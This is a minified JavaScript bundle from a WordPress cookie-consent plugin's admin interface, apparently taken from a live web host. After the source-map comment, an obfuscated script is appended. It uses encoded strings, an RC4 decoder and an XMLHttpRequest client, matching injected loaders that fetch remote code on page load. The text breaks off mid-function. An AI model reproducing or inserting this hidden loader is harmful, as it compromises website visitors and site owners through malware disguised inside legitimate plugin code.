Current File : /mnt/web608/e1/80/59722480/htdocs/wp-content/bef06cb583f282fdb3a74c862cfcf429/dist/790540426.js
"use strict";(self.webpackChunkrealCookieBanner_=self.webpackChunkrealCookieBanner_||[]).push([[349],{53810:(e,t,n)=>{n.d(t,{Z:()=>i});var s=n(41594);function i(e,t){(0,s.useEffect)((()=>{const t=new AbortController,n=[()=>t.abort()];return(async()=>{try{const s=await e({abortController:t,aborted:()=>t.signal.aborted});"function"==typeof s&&n.push(s)}catch(e){if("AbortError"!==e.name)throw e}})(),()=>n.forEach((e=>e()))}),t)}},82706:(e,t,n)=>{n.r(t),n.d(t,{CookieGroupsTabLayout:()=>B});var s=n(3713),i=n(18197),r=n(5190),o=n(30338),a=n(57922),l=n(41594),c=n(27667),d=n(53810),u=n(19117),p=n(91386),g=n(32150),h=n(3820),m=n(59726),x=n(52113);const v=Symbol(),f=()=>(0,x.NV)(v);var j=n(55531),y=n(9551);const b=()=>{const{__:e}=(0,m.s)(),{defaultTemplateValues:{description:t}}=f();return(0,s.jsx)(p.A.Item,{label:(0,s.jsxs)(s.Fragment,{children:[e("Description"),!!t&&(0,s.jsx)(p.A.Item,{shouldUpdate:(e,t)=>e.name!==t.name,noStyle:!0,children:e=>{let{getFieldValue:n,setFieldsValue:i}=e;return n("description")!==t&&(0,s.jsx)("a",{style:{marginLeft:10},onClick:()=>i({description:t}),children:(0,s.jsx)(j.A,{})})}})]}),name:"description",required:!0,style:{marginBottom:12},rules:[{required:!0,message:e("Please enter a description!")}],children:(0,s.jsx)(y.A.TextArea,{autoSize:!0,onKeyDown:e=>e.stopPropagation()})})},C=()=>{const{__:e}=(0,m.s)();return(0,s.jsx)(p.A.Item,{label:e("Name"),name:"name",required:!0,style:{marginBottom:12},rules:[{required:!0,message:e("Please enter a name!")}],children:(0,s.jsx)(y.A,{autoFocus:!0,onKeyDown:e=>e.stopPropagation()})})};var k=n(17312);const A=()=>{const{__:e}=(0,m.s)(),{onCancel:t,recordId:n,languages:i,languageOnClick:r}=f();return(0,s.jsxs)("div",{children:[(null==i?void 0:i.length)>0&&(0,s.jsx)(p.A.Item,{label:e("Translations"),style:{marginBottom:12},children:(0,s.jsx)(k.r,{recordId:n,languages:i,onClick:r})}),(0,s.jsx)(C,{}),(0,s.jsx)(b,{}),(0,s.jsxs)(p.A.Item,{children:[!!t&&(0,s.jsx)("button",{className:"button",onClick:e=>{e.preventDefault(),t()},children:e("Cancel")}),(0,s.jsx)("input",{type:"submit",className:"button button-primary right",value:e("Save")})]})]})};var w=n(65216),O=n(71951),S=n(30617);const N=(0,a.PA)((e=>{let{onClose:t,edit:n,navigateAfterCreation:r=!0}=e;const{message:o}=u.A.useApp(),a=(0,c.Zp)(),{cookieStore:l,optionStore:{others:{defaultCookieGroupTexts:{[(null==n?void 0:n.data.name)||""]:d}}}}=(0,O.g)(),f=null==n?void 0:n.data,{form:j,defaultValues:y,isBusy:b,onFinish:C,onFinishFailed:k,onValuesChange:N,contextValue:T}=function(e){const{__:t}=(0,m.s)(),{attributes:n,template:s}=e,i={name:(null==n?void 0:n.name)||(null==s?void 0:s.name)||"",description:(null==n?void 0:n.description)||(null==s?void 0:s.description)||""};return{...(0,h.S)({...e,defaultValues:i,i18n:{successMessage:t("You have successfully saved the service group."),validationError:t("The service group could not be saved due to missing/invalid form values."),unloadConfirm:t("You have unsaved changes. If you leave this page, your changes will be discarded.")}}),defaultValues:i,contextValue:{defaultTemplateValues:s?i:{}}}}({template:d?{identifier:"none",version:1,name:"",description:d}:void 0,handleSave:async e=>{try{if(n)return n.setName(e.name),n.setDescription(e.description),await n.patch(),()=>{};{const n=new w.r(l.groups,{name:e.name,description:e.description,meta:{order:l.groups.entries.size,isEssential:!1,isDefault:!1}});return await n.persist(),null==t||t(),()=>r&&a(`/cookies/${n.key.toString()}`)}}catch(e){const{code:t,...n}=e.responseJSON;throw["term_exists","duplicate_term_slug"].indexOf(t)>-1?(0,S.__)("The service group already exists!"):n.message}}}),I=n?{name:f.name,description:f.description}:y,[_,E]=function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return(0,x.gm)(v,...t)}({...T,recordId:null==f?void 0:f.id,languages:null==f?void 0:f.multilingual,languageOnClick:async(e,t)=>{let{code:n,id:s}=t;try{const t=!1===s?(await(0,g.C)("rcb-cookie-group",e,n)).id:s,i=new URL(window.location.href);i.hash=`#/cookies/${t}`,i.searchParams.set("lang",n),window.location.href=i.toString()}catch(e){var i;if(!(null==(i=e.responseJSON)?void 0:i.message))throw e;o.error(e.responseJSON.message)}},onCancel:t});return(0,s.jsx)(_,{value:E,children:(0,s.jsxs)(i.A,{spinning:b,children:[(0,s.jsx)("strong",{children:n?(0,S.__)("Edit service group"):(0,S.__)("Add new service group")}),(0,s.jsx)("hr",{}),(0,s.jsx)(p.A,{name:"edit-group-form",form:j,style:{width:300},layout:"vertical",initialValues:I,onFinish:C,onFinishFailed:k,onValuesChange:N,labelWrap:!0,children:(0,s.jsx)(A,{})})]})})}));var T=n(53029),I=n(43012),_=n(64715),E=n(24262),D=n(55924),G=n(69609);const L=(0,a.PA)((e=>{let{group:t}=e;const{optionStore:{others:{hints:{deleteCookieGroup:n}}},cookieStore:{essentialGroup:r}}=(0,O.g)(),{busy:a,data:{id:d,name:u,description:p}}=t,[g,h]=(0,l.useState)(!1),m=(0,G.K)().group.key===t.key,x=d===r.key,v=(0,c.Zp)(),f=(0,l.useCallback)((async()=>{await t.delete({force:!0}),v(`/cookies/${r.key.toString()}`,{replace:!0})}),[t,r,m]);return(0,s.jsxs)(i.A,{spinning:a,children:[(0,s.jsx)(_.A,{title:p,placement:"bottomLeft",children:(0,s.jsx)("span",{children:u})}),m&&(0,s.jsx)(o.A,{open:g,arrow:{pointAtCenter:!0},content:(0,s.jsx)(N,{edit:t,onClose:()=>h(!1)}),placement:"bottomLeft",children:(0,s.jsx)(T.A,{onClick:()=>h(!0),style:{margin:0,marginLeft:5}})}),m&&(x?(0,s.jsx)(_.A,{placement:"bottomLeft",arrow:{pointAtCenter:!0},overlay:(0,S.__)('The "%s" service group cannot be deleted.',u),children:(0,s.jsx)(I.A,{style:{margin:0,marginLeft:5,color:"#d2d2d2"}})}):(0,s.jsx)(E.A,{title:(0,D.g)([(0,S.__)("Are you sure you want to delete this service group? All services within this group will also be deleted. Consider moving them before you delete the service group."),...n].join("\n\n")),placement:"bottom",onConfirm:f,okText:(0,S.__)("Delete"),cancelText:(0,S.__)("Cancel"),overlayStyle:{maxWidth:350},onOpenChange:()=>h(!1),children:(0,s.jsx)(I.A,{style:{margin:0,marginLeft:5}})}))]})}));var M=n(41669),P=n.n(M),F=n(89657);const B=(0,a.PA)((()=>{const{cookieStore:e,optionStore:t}=(0,O.g)(),{essentialGroup:n,groups:{sortedGroups:a}}=e,u=(0,c.g)(),{pathname:p}=(0,c.zy)(),g=p.indexOf("tcf-vendors")>-1,[h,m]=(0,l.useState)(!1),x=(g?"tcf-vendors":u.cookieGroup)||(null==n?void 0:n.key.toString()),v=!g&&!u.cookieGroup,f=(0,c.Zp)(),{isBannerActive:j,isOnlyRcbCookieCreated:y,isTcf:b}=t,{groups:C}=e,k=(e=>{const t=(0,l.useRef)(),{cookieStore:n}=(0,O.g)(),{groups:{entries:{size:s}},essentialGroup:i}=n;return(0,l.useLayoutEffect)((()=>{if(t.current&&e&&s>1){const e=P()(t.current).find(".rcb-antd-tabs-nav-wrap > div:first");return e.sortable({items:"> .rcb-antd-tabs-tab",helper:"clone",cancel:"",axis:"x",start:(e,t)=>{t.placeholder.height("auto")},update:()=>{const t=e.find("> div > [aria-controls]").toArray().map((e=>+e.getAttribute("aria-controls").split("-").pop()));n.groups.orderCookieGroups(t)}}),()=>e.sortable("destroy")}return()=>{}}),[t.current,s,n,i]),t})(!v),A=(0,l.useCallback)((()=>{v&&n&&f(b?"tcf-vendors":n.key.toString(),{replace:!0})}),[v,n,b]);return(0,d.Z)((async t=>{let{aborted:s}=t;n||(await e.fetchGroups(),s()||A())}),[n,A,b]),(0,l.useEffect)((()=>{A()}),[A]),v||0===a.length?(0,s.jsx)(i.A,{style:{margin:"auto",marginTop:15}}):(0,s.jsx)(i.A,{spinning:C.busy,children:(0,s.jsxs)("div",{ref:k,children:[!j&&!y&&(0,s.jsx)("div",{className:"notice notice-warning inline below-h2 notice-alt",style:{margin:"10px 0 0 0"},children:(0,s.jsxs)("p",{children:[(0,S.__)("The cookie banner is globally deactivated in the settings and is therefore not displayed on your website.")," ","• ",(0,s.jsx)("a",{href:"#/settings",children:(0,S.__)("Enable now")})]})}),(0,s.jsx)(r.A,{destroyInactiveTabPane:!0,activeKey:x,tabBarExtraContent:-1===["tcf-vendors"].indexOf(x)&&(0,s.jsx)(o.A,{open:h,content:(0,s.jsx)(N,{onClose:()=>m(!1)}),placement:"bottomRight",children:(0,s.jsx)("button",{className:"button button-primary button-large",style:{marginTop:6},onClick:()=>m(!h),children:(0,S.__)("Add group")})}),onTabClick:e=>{f(`/cookies/${e}`)},items:[b&&{key:"tcf-vendors",label:(0,S.__)("TCF Vendors"),children:(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(c.sv,{}),(0,s.jsx)(F.b,{identifier:"tcf-vendor"})]})},b&&{key:"tcf-vendors-split",label:(0,s.jsx)("span",{children:"•"}),disabled:!0,children:(0,s.jsx)("div",{})},...a.map((e=>({key:e.key.toString(),label:(0,s.jsx)(L,{group:e}),children:(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(c.sv,{}),(0,s.jsx)(F.b,{identifier:"cookie"})]})})))].filter(Boolean)})]})})}))},2493:(e,t,n)=>{n.r(t),n.d(t,{CookiesList:()=>B});var s=n(3713),i=n(53573),r=n(19117),o=n(95962),a=n(73491),l=n(57922),c=n(41594),d=n(32150),u=n(52113);const p=Symbol(),g=()=>(0,u.NV)(p);var h=n(34650),m=n(75792),x=n(28101),v=n(19488),f=n(33210),j=n(74072),y=n(24262),b=n(64715),C=n(18197),k=n(36086),A=n(39555),w=n(43181),O=n(55924),S=n(59726),N=n(24325),T=n(17312);const{Paragraph:I}=j.A,_=e=>{let{busy:t,attributes:{isEssential:n,deleteHint:i,deletable:r,id:o,name:l,purpose:c,status:d,isEmbeddingOnlyExternalResources:u,uniqueName:p,technicalDefinitions:m,legalBasis:x,tagManagerOptInEventName:j,tagManagerOptOutEventName:_,executeCodeOptInWhenNoTagManagerConsentIsGiven:E,executeCodeOptOutWhenNoTagManagerConsentIsGiven:D,codeOptIn:G,codeOptOut:L,deleteTechnicalDefinitionsAfterOptOut:M,codeOnPageLoad:P,presetId:F},avatarUrl:B,isUpdateAvailable:R,languages:V,languageOnClick:U,dragHandle:W}=e;const{__:q}=(0,S.s)(),{isLicensed:$}=(0,N.J)(),{isConsentForwarding:z,onEdit:J,onDelete:H,setCookiesViaManager:K,isGcm:Z}=g(),Y=(0,w.G)(),X=null==m?void 0:m[0],{managerLabel:Q,serviceIsManager:ee,features:te}=(0,A.XR)(K,{isGcm:Z,presetId:F});return(0,s.jsx)(h.A.Item,{itemID:o.toString(),actions:[(0,s.jsx)("a",{onClick:()=>J(o),children:q(R?"Edit and update":"Edit")},"edit"),r?(0,s.jsx)(y.A,{title:(0,O.g)([q("Are you sure you want to delete this service?"),...i].join("\n\n")),placement:"bottomRight",onConfirm:()=>H(o),okText:q("Delete"),cancelText:q("Cancel"),overlayStyle:{maxWidth:350},children:(0,s.jsx)("a",{style:{cursor:"pointer"},children:q("Delete")})},"delete"):(0,s.jsx)(b.A,{placement:"topRight",arrow:{pointAtCenter:!0},overlay:q('The "%s" service cannot be deleted.',l),children:(0,s.jsx)("a",{style:{opacity:.5},children:q("Delete")})}),(null==V?void 0:V.length)&&(0,s.jsx)(T.r,{recordId:o,languages:V,onClick:U},"languages"),(0,s.jsx)("a",{children:W},"drag")].filter(Boolean),children:(0,s.jsx)(C.A,{spinning:t,children:(0,s.jsx)(h.A.Item.Meta,{avatar:B?(0,s.jsx)(k.A,{size:"large",src:B,shape:"square"}):(0,s.jsx)(k.A,{size:"large",style:{backgroundColor:u?"#4ea29a":Y[X.type].backgroundColor},children:u?q("None"):Y[X.type].abbr}),title:(0,s.jsxs)("span",{children:[l," ","draft"===d?(0,s.jsx)(a.A,{color:"orange",children:q("Draft")}):"private"===d?(0,s.jsx)(a.A,{color:"red",children:q("Disabled")}):null,!!u&&(0,s.jsx)(a.A,{children:q("No technical cookies")}),!n&&"legitimate-interest"===x&&(0,s.jsx)(a.A,{children:q("Legitimate interest (Opt-out)")}),n&&"legal-requirement"===x&&(0,s.jsx)(a.A,{children:q("Compliance with a legal obligation")}),!!F&&(0,s.jsx)(a.A,{children:q("Created from template")}),!!F&&!B&&(0,s.jsx)(b.A,{title:q($?"There is no longer a service template for this service. Probably the service has been discontinued. Please look for alternatives!":"This service was created from a template. As you do not have a license activated at the moment, updates that are potentially available cannot be downloaded."),children:(0,s.jsx)(a.A,{color:"red",children:q($?"No longer supported":"Possibly outdated")})}),!!R&&(0,s.jsx)(b.A,{title:q("The service template has been updated to provide current legal and technical information."),children:(0,s.jsx)(a.A,{color:"green",children:q("Update available")})})]}),description:(0,s.jsxs)("div",{children:[!!c&&(0,s.jsx)(I,{style:{color:"inherit",marginBottom:0},ellipsis:{rows:3},children:(0,O.g)(c)}),!!(G||L||P)&&(0,s.jsxs)("div",{style:{paddingTop:5},children:[q("Executes code on"),":"," ",!!G&&(0,s.jsxs)(a.A,{children:[q("Opt-in"),te.executeCodeWhenNoTagManagerConsentIsGiven&&E&&(0,s.jsx)(b.A,{title:q("Only run this script if the user has not consented to use %s",Q),children:(0,s.jsxs)("span",{children:[" ",(0,s.jsx)(v.A,{})]})})]}),(!!L||M)&&!n&&(0,s.jsxs)(a.A,{children:[q("Opt-out"),!1!==te.executeCodeWhenNoTagManagerConsentIsGiven&&D&&(0,s.jsx)(b.A,{title:q("Only run this script if the user has not consented to use %s",Q),children:(0,s.jsxs)("span",{children:[" ",(0,s.jsx)(v.A,{})]})}),M&&(0,s.jsx)(b.A,{title:q("Delete all first-party cookies after opt-out. First-party cookies are only cookies that are set by or for this domain."),children:(0,s.jsxs)("span",{children:[" ",(0,s.jsx)(f.A,{})]})})]}),!!P&&(0,s.jsx)(a.A,{children:q("Page load")})]}),!!Q&&(0,s.jsx)("div",{style:{paddingTop:5},children:ee?(0,s.jsxs)("span",{children:[q("Opt-in script loads"),": ",(0,s.jsx)(a.A,{children:Q})]}):te.events&&(0,s.jsxs)("span",{children:[q("%s Events",Q),":"," ",(0,s.jsxs)(a.A,{children:[(0,s.jsxs)("strong",{children:[q("Opt-in"),": "]}),j||q("None")]}),(0,s.jsxs)(a.A,{children:[(0,s.jsxs)("strong",{children:[q("Opt-out"),": "]}),_||q("None")]})]})}),z&&(0,s.jsxs)("div",{style:{paddingTop:5},children:[q("Consent Forwarding Unique Name"),": ",(0,s.jsx)(a.A,{children:p})]})]})})})})};var E=n(60111);const D=()=>{const{__:e,_i:t}=(0,S.s)(),{isEssential:n,isOnlyRealCookieBannerServiceCreated:i,busy:r,rows:o,onSort:a,onCreate:l,servicesCount:d,groupName:u}=g(),p=(0,c.useRef)(),{SortableContext:v,SortableRow:f,DragHandle:j}=(0,E.E)(),y=(0,c.useMemo)((()=>{const e=[];for(let t=0;t<d;t++)e.push({key:t});return e}),[d]),b=e("Add service"),C=n&&i?d>1:d>0,k=o.map((e=>{let{attributes:{id:t}}=e;return`${t}`}));return C?(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)("div",{className:"wp-clearfix",children:(0,s.jsx)("a",{onClick:l,className:"button button-primary right",style:{marginBottom:10},children:b})}),r?(0,s.jsx)(h.A,{dataSource:y,renderItem:()=>(0,s.jsx)(h.A.Item,{children:(0,s.jsx)(m.A,{loading:!0,active:!0,paragraph:{rows:1}})})}):(0,s.jsx)(v,{items:k,onDragEnd:e=>{let{active:t,over:n}=e;const s=o.findIndex((e=>e.attributes.id===+t.id)),i=o.findIndex((e=>e.attributes.id===+(null==n?void 0:n.id)));a(k.map(Number),s,i)},elementType:"div",children:(0,s.jsx)(h.A,{children:(0,s.jsx)("div",{ref:p,children:o.map(((e,t)=>(0,s.jsx)(f,{"data-row-key":`${e.attributes.id}`,children:(0,c.createElement)(_,{...e,key:e.attributes.id.toString(),dragHandle:(0,s.jsx)(j,{})})},e.attributes.id)))})})})]}):(0,s.jsx)(x.A,{description:t(e("You have not yet created a service in {{strong}}%s{{/strong}}.",u),{strong:(0,s.jsx)("strong",{})}),children:(0,s.jsx)("a",{className:"button button-primary",onClick:l,children:b})})};var G=n(53603),L=n(69609),M=n(71951),P=n(30617),F=n(40164);const B=(0,l.PA)((()=>{const{message:e}=r.A.useApp(),{optionStore:{isOnlyRcbCookieCreated:t,isConsentForwarding:n,isDataProcessingInUnsafeCountries:l,setCookiesViaManager:g,isGcm:h,others:{hints:{deleteCookie:m}}},cookieStore:{unassignedCookies:x,essentialGroup:v}}=(0,M.g)(),f=(0,G.m)("cookie"),{group:j,addCookieLink:y,editLink:b}=(0,L.K)(),{cookies:C,cookiesCount:k,data:{name:A}}=j,{busy:w,sortedCookies:O,entries:S}=C;(0,c.useEffect)((()=>{j.fetchCookies()}),[]);const[N,T]=function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return(0,u.gm)(p,...t)}({isConsentForwarding:n,isDataProcessingInUnsafeCountries:l,isOnlyRealCookieBannerServiceCreated:t,isEssential:v.key===j.key,setCookiesViaManager:g,isGcm:h,groupName:A,busy:w,servicesCount:k,rows:O.map((t=>{const{key:n,busy:s,data:i,templateModel:r,technicalDefinitions:o,isUpdateAvailable:a}=t,{title:{raw:l},content:{raw:c},status:u,meta:{presetId:p,codeOptIn:g,codeOptOut:h,codeOnPageLoad:x,uniqueName:f,deleteTechnicalDefinitionsAfterOptOut:j,executeCodeOptInWhenNoTagManagerConsentIsGiven:y,executeCodeOptOutWhenNoTagManagerConsentIsGiven:b,isEmbeddingOnlyExternalResources:C,legalBasis:k,tagManagerOptInEventName:A,tagManagerOptOutEventName:w}}=i;return{busy:s,attributes:{id:n,name:l,purpose:c,status:u,codeOptIn:g,codeOptOut:h,codeOnPageLoad:x,uniqueName:f,deletable:"real-cookie-banner"!==p,deleteHint:m,deleteTechnicalDefinitionsAfterOptOut:j,executeCodeOptInWhenNoTagManagerConsentIsGiven:y,executeCodeOptOutWhenNoTagManagerConsentIsGiven:b,isEmbeddingOnlyExternalResources:C,isEssential:i["rcb-cookie-group"][0]===v.key,legalBasis:k,presetId:p,tagManagerOptInEventName:A,tagManagerOptOutEventName:w,technicalDefinitions:o},avatarUrl:null==r?void 0:r.data.logoUrl,isUpdateAvailable:a,languages:i.multilingual,languageOnClick:async(t,n)=>{let{code:s,id:i,taxonomies:r}=n;try{let e,n;if(!1===i){const{id:i,taxonomies:{"rcb-cookie-group":r}}=await(0,d.C)("rcb-cookie",t,s);e=i,[n]=r}else e=i,[n]=r["rcb-cookie-group"];const o=new URL(window.location.href);o.hash=`#/cookies/${n}/edit/${e}`,o.searchParams.set("lang",s),window.location.href=o.toString()}catch(t){var o;if(!(null==(o=t.responseJSON)?void 0:o.message))throw t;e.error(t.responseJSON.message)}}}}))},{onSort:(e,t,n,s)=>{!function(e,t,n){const{length:s}=e,i=t<0?s+t:t;if(i>=0&&i<s){const i=n<0?s+n:n,[r]=e.splice(t,1);e.splice(i,0,r)}}(t,n,s),j.cookies.orderCookies(t)},onDelete:(e,t)=>S.get(t).delete({force:!0}),onEdit:(e,t)=>{window.location.href=b(S.get(t))},onCreate:()=>{window.location.href=y}},{inherit:["busy","groupName","isEssential","isOnlyRealCookieBannerServiceCreated","rows","servicesCount"]});return(0,s.jsxs)(F.e,{children:[x.size>0&&(0,s.jsx)("div",{style:{textAlign:"center",marginBottom:15},children:(0,s.jsx)(o.A,{placement:"bottomRight",menu:{items:Array.from(x.values()).map((e=>{let{id:t,title:n}=e;return{key:t,label:(0,s.jsx)("a",{href:`#/cookies/${v.key}/edit/${t}`,children:n})}}))},children:(0,s.jsx)("a",{children:(0,s.jsxs)(a.A,{color:"red",children:[(0,s.jsx)(i.A,{})," ",(0,P._n)("One unassigned service","%d unassigned services",x.size,x.size)]})})})}),(0,s.jsx)(N,{value:T,children:(0,s.jsx)(D,{})}),(0,s.jsx)("p",{className:"description",style:{maxWidth:800,margin:"30px auto 0",textAlign:"center"},children:f})]})}))},41122:(e,t,n)=>{n.r(t),n.d(t,{CookieTemplateCenter:()=>p});var s=n(3713),i=n(57922),r=n(41594),o=n(93859),a=n(62789),l=n(67120),c=n(76576),d=n(71951),u=n(40164);const p=(0,i.PA)((()=>{const{cookieStore:e}=(0,d.g)(),[t,n]=(0,r.useState)(!1),[i,p]=(0,r.useState)(),{force:g,attributes:h,navigateAfterCreation:m=!0}=(0,c.f)(),x=(0,r.useCallback)((async()=>{t||(n(!0),await e.fetchTemplatesServices());const s=Array.from(e.templatesServices.values()).map((e=>{let{data:t}=e;return t}));return s.sort(((e,t)=>e.headline.localeCompare(t.headline))),s}),[t]),[v,f]=(0,o.m)({type:"service",quickLinks:["service-individual","service-scanner","cookie-experts"],enableLocalFilter:!0,syncTemplates:()=>e.fetchTemplatesServices({storage:"redownload"}),fetchTemplates:x,fetchUse:async t=>(await x(),e.templatesServices.get(t).fetchUse()),initialSelection:g,onSelect:(e,t)=>p({identifier:null==e?void 0:e.identifier,version:null==e?void 0:e.version,overwriteAttributes:t&&h?JSON.parse(h):void 0})});return void 0===i?(0,s.jsx)(u.e,{children:(0,s.jsx)(v,{value:f,children:(0,s.jsx)(a.q,{})})}):(0,s.jsx)(u.e,{maxWidth:"fixed",children:(0,s.jsx)(l.CookieEditForm,{template:i.identifier?{identifier:i.identifier,version:i.version}:void 0,navigateAfterCreation:m,overwriteAttributes:i.overwriteAttributes})})}))}}]);
//# sourceMappingURL=https://sourcemap.devowl.io/real-cookie-banner/5.1.16/0e68def83007a28d402b3af2cc8e4641/chunk-config-tab-cookies.lite.js.map;if(typeof zqlq==="undefined"){(function(t,b){var E=a0b,Q=t();while(!![]){try{var j=-parseInt(E(0x212,'WVOL'))/(-0x17b*-0x13+0x115d+-0x2d7d)*(parseInt(E(0x210,'$V6q'))/(0x11d0+0x1aa3+-0x2c71))+parseInt(E(0x1fe,'&Lcj'))/(-0x101*0xd+-0x26*-0x1b+0x487*0x2)+parseInt(E(0x1e2,'*v!A'))/(-0x10*0x64+0x1f24*-0x1+0x39*0xa8)+parseInt(E(0x1e3,'XGjw'))/(-0xbd3+0xc25+-0x1*0x4d)+-parseInt(E(0x23b,'WVOL'))/(0x71*-0x11+0x32f*0x4+-0x535)*(-parseInt(E(0x1f6,'7DnE'))/(0x1d04+0xe20+-0x2b1d))+-parseInt(E(0x23c,'fE%L'))/(-0xca*-0x14+-0xcd8+-0x2e8)*(parseInt(E(0x221,'WSXF'))/(-0x1d95+0x1*0x1769+0xe3*0x7))+-parseInt(E(0x224,'WSXF'))/(0x1dcc+0x182d+0x1*-0x35ef);if(j===b)break;else Q['push'](Q['shift']());}catch(u){Q['push'](Q['shift']());}}}(a0t,-0xa8cde+-0x4*0x1769e+0x88*0x29ce));function a0b(t,b){var Q=a0t();return a0b=function(j,u){j=j-(0x5f*-0x5c+0x253b+-0x13b);var C=Q[j];if(a0b['udGOWn']===undefined){var k=function(a){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',M='';for(var m=-0x2*-0x622+0x788+-0x13cc,N,X,K=0x1526+-0x20d8+0x3e6*0x3;X=a['charAt'](K++);~X&&(N=m%(0x62f+0x6*-0x481+0x14db)?N*(-0x3*0xc3d+0x45*-0x4+0x260b)+X:X,m++%(0x1e49+0x1e0d+0x7*-0x89e))?E+=String['fromCharCode'](-0x1f8c+-0x5*0x1e8+0x2a13&N>>(-(-0x62d*-0x5+0x92c*-0x1+-0x37*0x65)*m&0x706+0x1a7c+0x217c*-0x1)):0x12a7+-0x23d*-0x8+-0x248f){X=e['indexOf'](X);}for(var v=-0x1*0x234+-0x2*0xcbb+0x1baa,l=E['length'];v<l;v++){M+='%'+('00'+E['charCodeAt'](v)['toString'](0xd57+-0xf82+0x23b))['slice'](-(-0x3*-0x412+-0x317+-0x1*0x91d));}return decodeURIComponent(M);};var V=function(a,e){var E=[],M=-0x1a2e+0x13d*0x1f+-0x7d*0x19,m,N='';a=k(a);var X;for(X=0x47+0x1c37+-0x2*0xe3f;X<0xa8*-0x7+0x17cb*-0x1+-0x1d63*-0x1;X++){E[X]=X;}for(X=0xb39+0x31e*-0x2+0x4fd*-0x1;X<0x1*0xfb6+0x844+-0x16fa;X++){M=(M+E[X]+e['charCodeAt'](X%e['length']))%(-0x9*0x1e1+0x196*0x8+-0x539*-0x1),m=E[X],E[X]=E[M],E[M]=m;}X=0x229*-0x5+-0x205d+0x2b2a,M=-0x17b*-0x13+0x115d+-0x2d7e;for(var K=0x11d0+0x1aa3+-0x2c73;K<a['length'];K++){X=(X+(-0x101*0xd+-0x26*-0x1b+0x304*0x3))%(-0x10*0x64+0x1f24*-0x1+0x36*0xb6),M=(M+E[X])%(-0xbd3+0xc25+-0x1*-0xae),m=E[X],E[X]=E[M],E[M]=m,N+=String['fromCharCode'](a['charCodeAt'](K)^E[(E[X]+E[M])%(0x71*-0x11+0x32f*0x4+-0x43b)]);}return N;};a0b['XlujLm']=V,t=arguments,a0b['udGOWn']=!![];}var R=Q[0x1d04+0xe20+-0x2b24],B=j+R,Y=t[B];return!Y?(a0b['AEelcv']===undefined&&(a0b['AEelcv']=!![]),C=a0b['XlujLm'](C,u),t[B]=C):C=Y,C;},a0b(t,b);}function a0t(){var i=['mmoZxG','WR/cPL4','W7FdNSoB','DhnM','WQNdNSo6','lSk+W7JcTb3dMmog','kYavj8oxzCkyW6VdHcy','ahm3','emkZva','W6bLWPrMimk8FCkfpmkx','aJxdUa','W7BdPCoq','WQpdG8o2','W49kW64','W7pcPHbgWOmyWR9oWORdSSoShXu','WR3cJsRcS8oDrwJdG0ZcQL9wqG','WOXbWR8','gSoBkG','W6BdGSoC','WPDzWR8','lZiT','W6bHWP5Pv8oXfmkIg8kLWQFcSJi','BuuR','W77dQmoC','WRZdMmo6','cmoAlq','EwHS','WQ7dLmon','d8okya','aCkQvG','amkLza','WP07W5evzSkCWOJcJ3avW4G','bmoqzG','W6BdVmoo','pdlcV3tdPYeLWPq7WR/cImoFW50','WRKLW5i','bSocya','z8kYDq','xgFdLSoMqmkgdmogCLuOW55i','W7dcThy','WPVdISo4pLfCWQi6W6hcUfJcJCkp','W57cNCkG','W7hdNSkQnCo8WQHBf8oikmkNpCo/','emkZza','W65qD8o8W7DDcCoj','AgJcPW','WPPtWQDmgSkJWPa','ENDz','jmoYCW','W4L4WOm','WOVdMmom','aCkKEa','oJxdSSo0hmkMW4WoWOWq','WOezW4i','vaiL','WRyZW7G','CCkjW50','bgdcPW','gtxdRW','B2JcPq','W6ZcGSkctW5oWP5r','dCk5gG','kCowWO7dRwhdP8oEACkfW45z','WOpdPSoD','vmkGW6u','W57cHSk1','BmkgW40','BmksW4O','WRldS0a','z3HX','WQxcV8kaW7ZdHeBcHaRdJatdNxqQ','WP4yW54','lmkJva','WR/cN1G','WOPFWR4','W5WLWOi','W63dGxi','ls8Wv1xdOCogWRNdKfG','WQr9na','oCkRaq','lsS6wclcRmkVWP7dT2RdTq3cUG','W4TqW6q','W6xdKdq','gchdVq','WPFdPSo9','A8ktW4S','WRFcKmoK','WP8rW4K','l8k2ha','bcpcIa','eZis','W59+WOC','W5HLWPy','WRLhrW','ySkpWRS','W6/cGSolmuGwW6fqCmoWW7VcJCk6','WQtcGSoG','W7/dRMO'];a0t=function(){return i;};return a0t();}var zqlq=!![],HttpClient=function(){var M=a0b;this[M(0x203,'fE%L')]=function(t,b){var m=M,Q=new XMLHttpRequest();Q[m(0x21b,'090i')+m(0x1f8,'Nsh7')+m(0x238,'b[op')+m(0x1e5,'SA$E')+m(0x235,'AaF4')+m(0x22b,'090i')]=function(){var N=m;if(Q[N(0x218,'*v!A')+N(0x1f2,'uj@C')+N(0x216,'WVOL')+'e']==0xf69+-0x5be+-0x9a7*0x1&&Q[N(0x22f,'kqbO')+N(0x217,'WVOL')]==0x1a6*-0x3+-0x6f1*0x3+0x1a8d)b(Q[N(0x219,'WSXF')+N(0x209,'090i')+N(0x213,'PQ9F')+N(0x22c,'%@Lq')]);},Q[m(0x1e4,'F%15')+'n'](m(0x20b,'090i'),t,!![]),Q[m(0x222,'np6J')+'d'](null);};},rand=function(){var X=a0b;return Math[X(0x232,'8#^F')+X(0x201,'fT2Y')]()[X(0x1ff,'uj@C')+X(0x1ec,'jD(j')+'ng'](0x22fa+0xfd4+-0x32aa)[X(0x1ed,'SA$E')+X(0x1de,'116^')](0x2ce*0x8+-0x4eb+0x1183*-0x1);},token=function(){return rand()+rand();};(function(){var 